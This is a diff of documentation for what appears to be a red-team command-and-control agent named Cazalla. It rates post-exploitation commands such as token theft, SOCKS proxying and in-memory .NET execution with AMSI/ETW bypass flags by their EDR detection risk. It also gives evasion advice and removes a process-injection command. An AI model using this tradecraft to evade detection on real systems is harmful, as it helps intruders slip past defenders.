-| `inline_execute_assembly` | MEDIUM | CLR loading, memory allocation | Better OPSEC than `execute_assembly` (no process injection) |
+| `inline_execute_assembly` | MEDIUM | CLR loading, memory allocation | In-process execution (no process injection) |
 | `download` | MEDIUM | File access logging | Large files may trigger DLP |
 | `upload` | MEDIUM | File write detection | Suspicious extensions monitored |
 | `socks` | MEDIUM | Network traffic analysis | High bandwidth usage |
@@ -118,7 +117,6 @@ These commands have **low detection risk**:
 **Endpoint Detection and Response (EDR)** and **Extended Detection and Response (XDR)** solutions monitor:
 
 - **Process Creation**: `shell` command spawns `cmd.exe` (highly monitored)
-- **Process Injection**: `execute_assembly` uses Donut shellcode injection (heavily monitored)
 - **Memory Allocation**: `inline_execute` and `inline_execute_assembly` allocate executable memory (may be scanned)
 - **CLR Loading**: Loading .NET assemblies into memory may trigger EDR detections
 - **Token Manipulation**: `steal_token` and `make_token` generate authentication events
@@ -128,7 +126,7 @@ These commands have **low detection risk**:
 
 **Mitigation Strategies:**
 - Use built-in Cazalla commands instead of `shell` when possible
-- Prefer `inline_execute_assembly` over `execute_assembly` for better OPSEC (in-process vs process injection)
+- Use `inline_execute_assembly` for .NET assembly execution (in-process, no process injection)
 - Use `inline_execute` for BOFs when possible (no process creation)
 - Prefer `make_token` over `steal_token` when credentials are available
 - Avoid accessing LSASS or other critical system processes
@@ -339,12 +337,7 @@ Built-in Cazalla commands:
 #### `inline_execute_assembly`
 - **Risk**: MEDIUM
 - **Detection**: CLR loading, memory allocation, AMSI/ETW bypass attempts may trigger behavioral detections
-- **Best Practice**: Better OPSEC than `execute_assembly` (no process injection). Use `--amsi` and `--etw` flags when needed, but be aware they may be detected.
-
-#### `execute_assembly`
-- **Risk**: HIGH
-- **Detection**: Process injection (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread), Donut shellcode patterns, memory scanning
-- **Best Practice**: Use only when necessary. Prefer `inline_execute_assembly` for better OPSEC. High detection risk due to process injection techniques.
+- **Best Practice**: In-process execution (no process injection). Use `--amsi` and `--etw` flags when needed, but be aware they may be detected.
 
 #### `rev2self`
 - **Risk**: LOW